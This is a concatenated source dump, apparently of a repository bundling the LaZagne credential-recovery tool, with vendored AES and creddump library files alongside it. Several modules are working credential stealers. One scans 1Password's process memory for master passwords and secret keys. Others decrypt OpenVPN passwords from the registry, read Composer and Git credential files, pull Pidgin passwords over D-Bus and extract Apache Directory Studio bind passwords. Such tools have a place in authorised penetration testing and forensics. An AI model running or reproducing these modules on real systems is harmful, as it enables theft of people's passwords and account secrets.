12 | # The above copyright notice and this permission notice shall be included in
13 | # all copies or substantial portions of the Software.
14 | #
15 | # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
21 | # THE SOFTWARE.
22 |
23 | # This is a pure-Python implementation of the AES algorithm and AES common
24 | # modes of operation.
25 |
26 | # See: https://en.wikipedia.org/wiki/Advanced_Encryption_Standard
27 | # See: https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation
28 |
29 |
30 | # Supported key sizes:
31 | # 128-bit
32 | # 192-bit
33 | # 256-bit
34 |
35 |
36 | # Supported modes of operation:
37 | # ECB - Electronic Codebook
38 | # CBC - Cipher-Block Chaining
39 | # CFB - Cipher Feedback
40 | # OFB - Output Feedback
41 | # CTR - Counter
42 |
43 | # See the README.md for API details and general information.
44 |
45 | # Also useful, PyCrypto, a crypto library implemented in C with Python bindings:
46 | # https://www.dlitz.net/software/pycrypto/
47 |
48 |
49 | VERSION = [1, 3, 0]
50 |
51 | from .aes import AES, AESModeOfOperationCTR, AESModeOfOperationCBC, AESModeOfOperationCFB, AESModeOfOperationECB, AESModeOfOperationOFB, AESModesOfOperation, Counter
52 | from .blockfeeder import decrypt_stream, Decrypter, encrypt_stream, Encrypter
53 | from .blockfeeder import PADDING_NONE, PADDING_DEFAULT
54 |
--------------------------------------------------------------------------------
/Tools/Windows/lazagne/softwares/memory/onepassword.py:
--------------------------------------------------------------------------------
1 | from lazagne.config.lib.memorpy import Process, MemWorker
2 | from lazagne.config.module_info import ModuleInfo
3 |
4 |
5 | class OnePassword(ModuleInfo):
6 |
7 | def __init__(self):
8 | ModuleInfo.__init__(self, "1Password", 'memory')
9 |
10 | def run(self):
11 | pwd_found = []
12 |
13 | for process in Process.list():
14 | if process.get('name') == '1Password.exe':
15 | mw = MemWorker(pid=process.get('pid'))
16 |
17 | # Search for Account Details
18 | account_details = r'{"title":".*","url":"(.*)","ainfo":"(.*)","ps":.*,"pbe":.*,' \
19 | '"pgrng":.*,"URLs":\[{"l":".*","u":"(.*)"}\],"b5UserUUID":"(.*)",' \
20 | '"tags":\[.*\]}'
21 |
22 | for _, v in mw.mem_search(account_details, ftype='groups'):
23 | pwd_found.append({
24 | "Process": str(process),
25 | 'Login URL': str(v[0]),
26 | 'Email': str(v[1]),
27 | 'User ID': str(v[3]),
28 | })
29 |
30 | # Search for Secret Key
31 | secret_key = '{"name":"account-key","value":"(.{2}-.{6}-.{6}-.{5}-.{5}-.{5}-.{5})","type":"T"}'
32 | for _, v in mw.mem_search(secret_key, ftype='groups'):
33 | pwd_found.append({
34 | 'Process': str(process),
35 | 'Account Key': str(v[0])
36 | })
37 |
38 | # Search for Master Password
39 | master_password = '{"name":"master-password","value":"(.*)","type":"P","designation":"password"}'
40 | junk = '","type":"P","designation":"password"}'
41 |
42 | for _, v in mw.mem_search(master_password, ftype='groups'):
43 | v = v[0] # Remove Tuple
44 |
45 | if junk in v: # Hacky way of fixing weird regex bug ?!
46 | v = v.split(junk)[0]
47 |
48 | pwd_found.append({
49 | 'Process': str(process),
50 | 'Master Password': str(v)
51 | })
52 |
53 | return pwd_found
54 |
--------------------------------------------------------------------------------
/Tools/Linux/lazagne/config/crypto/pyaes/__init__.py:
--------------------------------------------------------------------------------
1 | # The MIT License (MIT)
2 | #
3 | # Copyright (c) 2014 Richard Moore
4 | #
5 | # Permission is hereby granted, free of charge, to any person obtaining a copy
6 | # of this software and associated documentation files (the "Software"), to deal
7 | # in the Software without restriction, including without limitation the rights
8 | # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | # copies of the Software, and to permit persons to whom the Software is
10 | # furnished to do so, subject to the following conditions:
11 | #
12 | # The above copyright notice and this permission notice shall be included in
13 | # all copies or substantial portions of the Software.
14 | #
15 | # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
21 | # THE SOFTWARE.
22 |
23 | # This is a pure-Python implementation of the AES algorithm and AES common
24 | # modes of operation.
25 |
26 | # See: https://en.wikipedia.org/wiki/Advanced_Encryption_Standard
27 | # See: https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation
28 |
29 |
30 | # Supported key sizes:
31 | # 128-bit
32 | # 192-bit
33 | # 256-bit
34 |
35 |
36 | # Supported modes of operation:
37 | # ECB - Electronic Codebook
38 | # CBC - Cipher-Block Chaining
39 | # CFB - Cipher Feedback
40 | # OFB - Output Feedback
41 | # CTR - Counter
42 |
43 | # See the README.md for API details and general information.
44 |
45 | # Also useful, PyCrypto, a crypto library implemented in C with Python bindings:
46 | # https://www.dlitz.net/software/pycrypto/
47 |
48 |
49 | VERSION = [1, 3, 0]
50 |
51 | from .aes import AES, AESModeOfOperationCTR, AESModeOfOperationCBC, AESModeOfOperationCFB, AESModeOfOperationECB, AESModeOfOperationOFB, AESModesOfOperation, Counter
52 | from .blockfeeder import decrypt_stream, Decrypter, encrypt_stream, Encrypter
53 | from .blockfeeder import PADDING_NONE, PADDING_DEFAULT
54 |
--------------------------------------------------------------------------------
/Tools/Linux/lazagne/config/crypto/pyaes/util.py:
--------------------------------------------------------------------------------
1 | # The MIT License (MIT)
2 | #
3 | # Copyright (c) 2014 Richard Moore
4 | #
5 | # Permission is hereby granted, free of charge, to any person obtaining a copy
6 | # of this software and associated documentation files (the "Software"), to deal
7 | # in the Software without restriction, including without limitation the rights
8 | # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | # copies of the Software, and to permit persons to whom the Software is
10 | # furnished to do so, subject to the following conditions:
11 | #
12 | # The above copyright notice and this permission notice shall be included in
13 | # all copies or substantial portions of the Software.
14 | #
15 | # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
21 | # THE SOFTWARE.
22 |
23 | # Why to_bufferable?
24 | # Python 3 is very different from Python 2.x when it comes to strings of text
25 | # and strings of bytes; in Python 3, strings of bytes do not exist, instead to
26 | # represent arbitrary binary data, we must use the "bytes" object. This method
27 | # ensures the object behaves as we need it to.
28 |
29 | def to_bufferable(binary):
30 | return binary
31 |
32 | def _get_byte(c):
33 | return ord(c)
34 |
35 | try:
36 | xrange
37 | except NameError:
38 |
39 | def to_bufferable(binary):
40 | if isinstance(binary, bytes):
41 | return binary
42 | return bytes(ord(b) for b in binary)
43 |
44 | def _get_byte(c):
45 | return c
46 |
47 | def append_PKCS7_padding(data):
48 | pad = 16 - (len(data) % 16)
49 | return data + to_bufferable(chr(pad) * pad)
50 |
51 | def strip_PKCS7_padding(data):
52 | if len(data) % 16 != 0:
53 | raise ValueError("invalid length")
54 |
55 | pad = _get_byte(data[-1])
56 |
57 | if pad > 16:
58 | raise ValueError("invalid padding byte")
59 |
60 | return data[:-pad]
61 |
--------------------------------------------------------------------------------
/Tools/Mac/lazagne/config/crypto/pyaes/util.py:
--------------------------------------------------------------------------------
1 | # The MIT License (MIT)
2 | #
3 | # Copyright (c) 2014 Richard Moore
4 | #
5 | # Permission is hereby granted, free of charge, to any person obtaining a copy
6 | # of this software and associated documentation files (the "Software"), to deal
7 | # in the Software without restriction, including without limitation the rights
8 | # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | # copies of the Software, and to permit persons to whom the Software is
10 | # furnished to do so, subject to the following conditions:
11 | #
12 | # The above copyright notice and this permission notice shall be included in
13 | # all copies or substantial portions of the Software.
14 | #
15 | # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
21 | # THE SOFTWARE.
22 |
23 | # Why to_bufferable?
24 | # Python 3 is very different from Python 2.x when it comes to strings of text
25 | # and strings of bytes; in Python 3, strings of bytes do not exist, instead to
26 | # represent arbitrary binary data, we must use the "bytes" object. This method
27 | # ensures the object behaves as we need it to.
28 |
29 | def to_bufferable(binary):
30 | return binary
31 |
32 | def _get_byte(c):
33 | return ord(c)
34 |
35 | try:
36 | xrange
37 | except NameError:
38 |
39 | def to_bufferable(binary):
40 | if isinstance(binary, bytes):
41 | return binary
42 | return bytes(ord(b) for b in binary)
43 |
44 | def _get_byte(c):
45 | return c
46 |
47 | def append_PKCS7_padding(data):
48 | pad = 16 - (len(data) % 16)
49 | return data + to_bufferable(chr(pad) * pad)
50 |
51 | def strip_PKCS7_padding(data):
52 | if len(data) % 16 != 0:
53 | raise ValueError("invalid length")
54 |
55 | pad = _get_byte(data[-1])
56 |
57 | if pad > 16:
58 | raise ValueError("invalid padding byte")
59 |
60 | return data[:-pad]
61 |
--------------------------------------------------------------------------------
/Tools/Windows/lazagne/config/crypto/pyaes/__init__.py:
--------------------------------------------------------------------------------
1 | # The MIT License (MIT)
2 | #
3 | # Copyright (c) 2014 Richard Moore
4 | #
5 | # Permission is hereby granted, free of charge, to any person obtaining a copy
6 | # of this software and associated documentation files (the "Software"), to deal
7 | # in the Software without restriction, including without limitation the rights
8 | # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | # copies of the Software, and to permit persons to whom the Software is
10 | # furnished to do so, subject to the following conditions:
11 | #
12 | # The above copyright notice and this permission notice shall be included in
13 | # all copies or substantial portions of the Software.
14 | #
15 | # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
21 | # THE SOFTWARE.
22 |
23 | # This is a pure-Python implementation of the AES algorithm and AES common
24 | # modes of operation.
25 |
26 | # See: https://en.wikipedia.org/wiki/Advanced_Encryption_Standard
27 | # See: https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation
28 |
29 |
30 | # Supported key sizes:
31 | # 128-bit
32 | # 192-bit
33 | # 256-bit
34 |
35 |
36 | # Supported modes of operation:
37 | # ECB - Electronic Codebook
38 | # CBC - Cipher-Block Chaining
39 | # CFB - Cipher Feedback
40 | # OFB - Output Feedback
41 | # CTR - Counter
42 |
43 | # See the README.md for API details and general information.
44 |
45 | # Also useful, PyCrypto, a crypto library implemented in C with Python bindings:
46 | # https://www.dlitz.net/software/pycrypto/
47 |
48 |
49 | VERSION = [1, 3, 0]
50 |
51 | from .aes import AES, AESModeOfOperationCTR, AESModeOfOperationCBC, AESModeOfOperationCFB, AESModeOfOperationECB, AESModeOfOperationOFB, AESModesOfOperation, Counter
52 | from .blockfeeder import decrypt_stream, Decrypter, encrypt_stream, Encrypter
53 | from .blockfeeder import PADDING_NONE, PADDING_DEFAULT
54 |
--------------------------------------------------------------------------------
/Tools/Windows/lazagne/config/crypto/pyaes/util.py:
--------------------------------------------------------------------------------
1 | # The MIT License (MIT)
2 | #
3 | # Copyright (c) 2014 Richard Moore
4 | #
5 | # Permission is hereby granted, free of charge, to any person obtaining a copy
6 | # of this software and associated documentation files (the "Software"), to deal
7 | # in the Software without restriction, including without limitation the rights
8 | # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | # copies of the Software, and to permit persons to whom the Software is
10 | # furnished to do so, subject to the following conditions:
11 | #
12 | # The above copyright notice and this permission notice shall be included in
13 | # all copies or substantial portions of the Software.
14 | #
15 | # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
21 | # THE SOFTWARE.
22 |
23 | # Why to_bufferable?
24 | # Python 3 is very different from Python 2.x when it comes to strings of text
25 | # and strings of bytes; in Python 3, strings of bytes do not exist, instead to
26 | # represent arbitrary binary data, we must use the "bytes" object. This method
27 | # ensures the object behaves as we need it to.
28 |
29 | def to_bufferable(binary):
30 | return binary
31 |
32 | def _get_byte(c):
33 | return ord(c)
34 |
35 | try:
36 | xrange
37 | except NameError:
38 |
39 | def to_bufferable(binary):
40 | if isinstance(binary, bytes):
41 | return binary
42 | return bytes(ord(b) for b in binary)
43 |
44 | def _get_byte(c):
45 | return c
46 |
47 | def append_PKCS7_padding(data):
48 | pad = 16 - (len(data) % 16)
49 | return data + to_bufferable(chr(pad) * pad)
50 |
51 | def strip_PKCS7_padding(data):
52 | if len(data) % 16 != 0:
53 | raise ValueError("invalid length")
54 |
55 | pad = _get_byte(data[-1])
56 |
57 | if pad > 16:
58 | raise ValueError("invalid padding byte")
59 |
60 | return data[:-pad]
61 |
--------------------------------------------------------------------------------
/Tools/Windows/lazagne/softwares/sysadmin/openvpn.py:
--------------------------------------------------------------------------------
1 | try:
2 | import _winreg as winreg
3 | except ImportError:
4 | import winreg
5 |
6 | from lazagne.config.winstructure import *
7 | from lazagne.config.module_info import ModuleInfo
8 | from lazagne.config.winstructure import Win32CryptUnprotectData
9 | from lazagne.config.constant import constant
10 |
11 |
12 | class OpenVPN(ModuleInfo):
13 | def __init__(self):
14 | ModuleInfo.__init__(self, name='openvpn', category='sysadmin', registry_used=True, winapi_used=True)
15 |
16 | def check_openvpn_installed(self):
17 | try:
18 | key = OpenKey(HKEY_CURRENT_USER, 'Software\\OpenVPN-GUI\\Configs')
19 | return key
20 | except Exception as e:
21 | self.debug(str(e))
22 | return False
23 |
24 | def decrypt_password(self, encrypted_password, entropy):
25 | result_bytes = Win32CryptUnprotectData(encrypted_password,
26 | entropy=entropy,
27 | is_current_user=constant.is_current_user,
28 | user_dpapi=constant.user_dpapi)
29 | return result_bytes.decode("utf-8")
30 |
31 | def get_credentials(self, key):
32 | pwd_found = []
33 | num_profiles = winreg.QueryInfoKey(key)[0]
34 | for n in range(num_profiles):
35 | name_skey = winreg.EnumKey(key, n)
36 | skey = OpenKey(key, name_skey)
37 | values = {'Profile': name_skey}
38 | try:
39 | encrypted_password = winreg.QueryValueEx(skey, "auth-data")[0]
40 | entropy = winreg.QueryValueEx(skey, "entropy")[0][:-1]
41 | password = self.decrypt_password(encrypted_password, entropy)
42 | values['Password'] = password.decode('utf16')
43 | except Exception as e:
44 | self.debug(str(e))
45 | pwd_found.append(values)
46 | winreg.CloseKey(skey)
47 | winreg.CloseKey(key)
48 |
49 | return pwd_found
50 |
51 | def run(self):
52 | openvpn_key = self.check_openvpn_installed()
53 | if openvpn_key:
54 | results = self.get_credentials(openvpn_key)
55 | if results:
56 | return results
57 |
--------------------------------------------------------------------------------
/Tools/Windows/lazagne/softwares/php/composer.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | import json
3 |
4 | from lazagne.config.module_info import ModuleInfo
5 | from lazagne.config.constant import constant
6 |
7 | import os
8 |
9 |
10 | class Composer(ModuleInfo):
11 |
12 | def __init__(self):
13 | ModuleInfo.__init__(self, 'composer', 'php')
14 |
15 | def extract_credentials(self, location):
16 | """
17 | Extract the credentials from the "auth.json" file.
18 | See "https://getcomposer.org/doc/articles/http-basic-authentication.md" for file format.
19 | :param location: Full path to the "auth.json" file
20 | :return: List of credentials founds
21 | """
22 | creds_found = []
23 | with open(location) as f:
24 | creds = json.load(f)
25 | for cred_type in creds:
26 | for domain in creds[cred_type]:
27 | values = {
28 | "AuthenticationType" : cred_type,
29 | "Domain" : domain,
30 | }
31 | # Extract basic authentication if we are on a "http-basic" section
32 | # otherwise extract authentication token
33 | if cred_type == "http-basic":
34 | values["Login"] = creds[cred_type][domain]["username"]
35 | values["Password"] = creds[cred_type][domain]["password"]
36 | else:
37 | values["Password"] = creds[cred_type][domain]
38 | creds_found.append(values)
39 |
40 | return creds_found
41 |
42 | def run(self):
43 | """
44 | Main function
45 | """
46 |
47 | # Define the possible full path of the "auth.json" file when is defined at global level
48 | # See "https://getcomposer.org/doc/articles/http-basic-authentication.md"
49 | # See "https://seld.be/notes/authentication-management-in-composer"
50 | location = ''
51 | tmp_location = [
52 | os.path.join(constant.profile["COMPOSER_HOME"], u'auth.json'),
53 | os.path.join(constant.profile["APPDATA"], u'Composer\\auth.json')
54 | ]
55 | for tmp in tmp_location:
56 | if os.path.isfile(tmp):
57 | location = tmp
58 | break
59 |
60 | if location:
61 | return self.extract_credentials(location)
62 |
--------------------------------------------------------------------------------
/Tools/Windows/lazagne/softwares/memory/libkeepass/__init__.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | import io
3 | from contextlib import contextmanager
4 |
5 | from .common import read_signature
6 | # from kdb3 import KDB3Reader, KDB3_SIGNATURE
7 | from .kdb4 import KDB4Reader, KDB4_SIGNATURE
8 |
9 | BASE_SIGNATURE = 0x9AA2D903
10 |
11 | _kdb_readers = {
12 | # KDB3_SIGNATURE[1]: KDB3Reader,
13 | #0xB54BFB66: KDB4Reader, # pre2.x may work, untested
14 | KDB4_SIGNATURE[1]: KDB4Reader,
15 | }
16 |
17 | @contextmanager
18 | def open(filename, **credentials):
19 | """
20 | A contextmanager to open the KeePass file with `filename`. Use a `password`
21 | and/or `keyfile` named argument for decryption.
22 |
23 | Files are identified using their signature and a reader suitable for
24 | the file format is intialized and returned.
25 |
26 | Note: `keyfile` is currently not supported for v3 KeePass files.
27 | """
28 | kdb = None
29 | try:
30 | with io.open(filename, 'rb') as stream:
31 | signature = read_signature(stream)
32 | cls = get_kdb_reader(signature)
33 | kdb = cls(stream, **credentials)
34 | yield kdb
35 | kdb.close()
36 | except Exception:
37 | if kdb: kdb.close()
38 | raise
39 |
40 | def add_kdb_reader(sub_signature, cls):
41 | """
42 | Add or overwrite the class used to process a KeePass file.
43 |
44 | KeePass uses two signatures to identify files. The base signature is
45 | always `0x9AA2D903`. The second/sub signature varies. For example
46 | KeePassX uses the v3 sub signature `0xB54BFB65` and KeePass2 the v4 sub
47 | signature `0xB54BFB67`.
48 |
49 | Use this method to add or replace a class by givin a `sub_signature` as
50 | integer and a class, which should be a subclass of
51 | `keepass.common.KDBFile`.
52 | """
53 | _kdb_readers[sub_signature] = cls
54 |
55 | def get_kdb_reader(signature):
56 | """
57 | Retrieve the class used to process a KeePass file by `signature`, which
58 | is a a tuple or list with two elements. The first being the base signature
59 | and the second the sub signature as integers.
60 | """
61 | if signature[0] != BASE_SIGNATURE:
62 | raise IOError('Unknown base signature.')
63 |
64 | if signature[1] not in _kdb_readers:
65 | raise IOError('Unknown sub signature.')
66 |
67 | return _kdb_readers[signature[1]]
68 |
69 |
--------------------------------------------------------------------------------
/Tools/Windows/lazagne/softwares/git/gitforwindows.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | import os
3 |
4 | try:
5 | from urlparse import urlparse, unquote
6 | except ImportError:
7 | from urllib.parse import urlparse, unquote
8 |
9 | from lazagne.config.constant import constant
10 | from lazagne.config.module_info import ModuleInfo
11 | from lazagne.config.winstructure import string_to_unicode
12 |
13 |
14 | class GitForWindows(ModuleInfo):
15 | def __init__(self):
16 | ModuleInfo.__init__(self, 'gitforwindows', 'git')
17 |
18 | def extract_credentials(self, location):
19 | """
20 | Extract the credentials from a Git store file.
21 | See "https://git-scm.com/docs/git-credential-store" for file format.
22 |
23 | :param location: Full path to the Git store file
24 | :return: List of credentials founds
25 | """
26 | pwd_found = []
27 | if os.path.isfile(location):
28 | with open(location) as f:
29 | # One line have the following format: https://user:pass@example.com
30 | for cred in f:
31 | if len(cred) > 0:
32 | parts = urlparse(cred)
33 | pwd_found.append((
34 | unquote(parts.geturl().replace(parts.username + ":" + parts.password + "@", "").strip()),
35 | unquote(parts.username),
36 | unquote(parts.password)
37 | ))
38 |
39 | return pwd_found
40 |
41 | def run(self):
42 | """
43 | Main function
44 | """
45 |
46 | # According to the "git-credential-store" documentation:
47 | # Build a list of locations in which git credentials can be stored
48 | locations = [
49 | os.path.join(constant.profile["USERPROFILE"], u'.git-credentials'),
50 | os.path.join(constant.profile["USERPROFILE"], u'.config\\git\\credentials'),
51 | ]
52 | if "XDG_CONFIG_HOME" in os.environ:
53 | locations.append(os.path.join(string_to_unicode(os.environ.get('XDG_CONFIG_HOME')), u'git\\credentials'))
54 |
55 | # Apply the password extraction on the defined locations
56 | pwd_found = []
57 | for location in locations:
58 | pwd_found += self.extract_credentials(location)
59 |
60 | # Filter duplicates
61 | return [{'URL': url, 'Login': login, 'Password': password} for url, login, password in set(pwd_found)]
62 |
--------------------------------------------------------------------------------
/Tools/Linux/lazagne/softwares/chats/pidgin.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- coding: utf-8 -*-
3 |
4 | import os
5 | import traceback
6 |
7 | from lazagne.config.module_info import ModuleInfo
8 | from xml.etree.cElementTree import ElementTree
9 | from lazagne.config import homes
10 |
11 |
12 | class Pidgin(ModuleInfo):
13 | def __init__(self):
14 | ModuleInfo.__init__(self, 'pidgin', 'chats')
15 |
16 | # If pidgin is started, use the api to retrieve all passwords
17 | def get_password_from_dbus(self):
18 |
19 | try:
20 | import dbus
21 | except ImportError:
22 | self.debug('Dbus not installed: sudo apt-get install python-dbus')
23 | return []
24 |
25 | pwd_found = []
26 | for _, session in homes.sessions():
27 | try:
28 | bus = dbus.bus.BusConnection(session)
29 | purple = bus.get_object(
30 | "im.pidgin.purple.PurpleService",
31 | "/im/pidgin/purple/PurpleObject",
32 | "im.pidgin.purple.PurpleInterface"
33 | )
34 | acc = purple.PurpleAccountsGetAllActive()
35 |
36 | for x in range(len(acc)):
37 | _acc = purple.PurpleAccountsGetAllActive()[x]
38 | pwd_found.append({
39 | 'Login': purple.PurpleAccountGetUsername(_acc),
40 | 'Password': purple.PurpleAccountGetPassword(_acc),
41 | 'Protocol': purple.PurpleAccountGetProtocolName(_acc),
42 | })
43 |
44 | bus.flush()
45 | bus.close()
46 |
47 | except Exception as e:
48 | self.debug(e)
49 |
50 | return pwd_found
51 |
52 | def run(self):
53 | pwd_found = self.get_password_from_dbus()
54 |
55 | for path in homes.get(file=os.path.join('.purple', 'accounts.xml')):
56 | tree = ElementTree(file=path)
57 | root = tree.getroot()
58 |
59 | for account in root.findall('account'):
60 | if account.find('name') is not None:
61 | name = account.find('name')
62 | password = account.find('password')
63 |
64 | if name is not None and password is not None:
65 | pwd_found.append(
66 | {
67 | 'Login': name.text,
68 | 'Password': password.text
69 | }
70 | )
71 |
72 | return pwd_found
73 |
--------------------------------------------------------------------------------
/Tools/Windows/lazagne/softwares/sysadmin/apachedirectorystudio.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | from xml.etree.ElementTree import parse
3 |
4 | from lazagne.config.module_info import ModuleInfo
5 | from lazagne.config.constant import *
6 |
7 | import os
8 |
9 |
10 | class ApacheDirectoryStudio(ModuleInfo):
11 |
12 | def __init__(self):
13 | ModuleInfo.__init__(self, 'apachedirectorystudio', 'sysadmin')
14 | # Interesting XML attributes in ADS connection configuration
15 | self.attr_to_extract = ["host", "port", "bindPrincipal", "bindPassword", "authMethod"]
16 |
17 | def extract_connections_credentials(self):
18 | """
19 | Extract all connection's credentials.
20 |
21 | :return: List of dict in which one dict contains all information for a connection.
22 | """
23 | repos_creds = []
24 | connection_file_location = os.path.join(
25 | constant.profile["USERPROFILE"],
26 | u'.ApacheDirectoryStudio\\.metadata\\.plugins\\org.apache.directory.studio.connection.core\\connections.xml'
27 | )
28 | if os.path.isfile(connection_file_location):
29 | try:
30 | connections = parse(connection_file_location).getroot()
31 | connection_nodes = connections.findall(".//connection")
32 | for connection_node in connection_nodes:
33 | creds = {}
34 | for connection_attr_name in connection_node.attrib:
35 | if connection_attr_name in self.attr_to_extract:
36 | creds[connection_attr_name] = connection_node.attrib[connection_attr_name].strip()
37 | if creds:
38 | repos_creds.append(creds)
39 | except Exception as e:
40 | self.error(u"Cannot retrieve connections credentials '%s'" % e)
41 |
42 | return repos_creds
43 |
44 | def run(self):
45 | """
46 | Main function
47 | """
48 | # Extract all available connections credentials
49 | repos_creds = self.extract_connections_credentials()
50 |
51 | # Parse and process the list of connections credentials
52 | pwd_found = []
53 | for creds in repos_creds:
54 | pwd_found.append({
55 | "Host" : creds["host"],
56 | "Port" : creds["port"],
57 | "Login" : creds["bindPrincipal"],
58 | "Password" : creds["bindPassword"],
59 | "AuthenticationMethod" : creds["authMethod"]
60 | })
61 |
62 | return pwd_found
63 |
--------------------------------------------------------------------------------
/Tools/Windows/lazagne/softwares/windows/creddump7/win32/rawreg.py:
--------------------------------------------------------------------------------
1 | # This file is part of creddump.
2 | #
3 | # creddump is free software: you can redistribute it and/or modify
4 | # it under the terms of the GNU General Public License as published by
5 | # the Free Software Foundation, either version 3 of the License, or
6 | # (at your option) any later version.
7 | #
8 | # creddump is distributed in the hope that it will be useful,
9 | # but WITHOUT ANY WARRANTY; without even the implied warranty of
10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
11 | # GNU General Public License for more details.
12 | #
13 | # You should have received a copy of the GNU General Public License
14 | # along with creddump. If not, see .
15 |
16 | """
17 | @author: Brendan Dolan-Gavitt
18 | @license: GNU General Public License 2.0 or later
19 | @contact: bdolangavitt@wesleyan.edu
20 | """
21 |
22 | from ..newobj import Obj, Pointer
23 | from struct import unpack
24 |
25 | ROOT_INDEX = 0x20
26 | LH_SIG = unpack(".
15 |
16 | """
17 | @author: Brendan Dolan-Gavitt
18 | @license: GNU General Public License 2.0 or later
19 | @contact: bdolangavitt@wesleyan.edu
20 | """
21 |
22 | regtypes = {
23 | '_CM_KEY_VALUE': [0x18, {
24 | 'Signature': [0x0, ['unsigned short']],
25 | 'NameLength': [0x2, ['unsigned short']],
26 | 'DataLength': [0x4, ['unsigned long']],
27 | 'Data': [0x8, ['unsigned long']],
28 | 'Type': [0xc, ['unsigned long']],
29 | 'Flags': [0x10, ['unsigned short']],
30 | 'Spare': [0x12, ['unsigned short']],
31 | 'Name': [0x14, ['array', 1, ['unsigned short']]],
32 | }],
33 | '_CM_KEY_NODE': [0x50, {
34 | 'Signature': [0x0, ['unsigned short']],
35 | 'Flags': [0x2, ['unsigned short']],
36 | 'LastWriteTime': [0x4, ['_LARGE_INTEGER']],
37 | 'Spare': [0xc, ['unsigned long']],
38 | 'Parent': [0x10, ['unsigned long']],
39 | 'SubKeyCounts': [0x14, ['array', 2, ['unsigned long']]],
40 | 'SubKeyLists': [0x1c, ['array', 2, ['unsigned long']]],
41 | 'ValueList': [0x24, ['_CHILD_LIST']],
42 | 'ChildHiveReference': [0x1c, ['_CM_KEY_REFERENCE']],
43 | 'Security': [0x2c, ['unsigned long']],
44 | 'Class': [0x30, ['unsigned long']],
45 | 'MaxNameLen': [0x34, ['unsigned long']],
46 | 'MaxClassLen': [0x38, ['unsigned long']],
47 | 'MaxValueNameLen': [0x3c, ['unsigned long']],
48 | 'MaxValueDataLen': [0x40, ['unsigned long']],
49 | 'WorkVar': [0x44, ['unsigned long']],
50 | 'NameLength': [0x48, ['unsigned short']],
51 | 'ClassLength': [0x4a, ['unsigned short']],
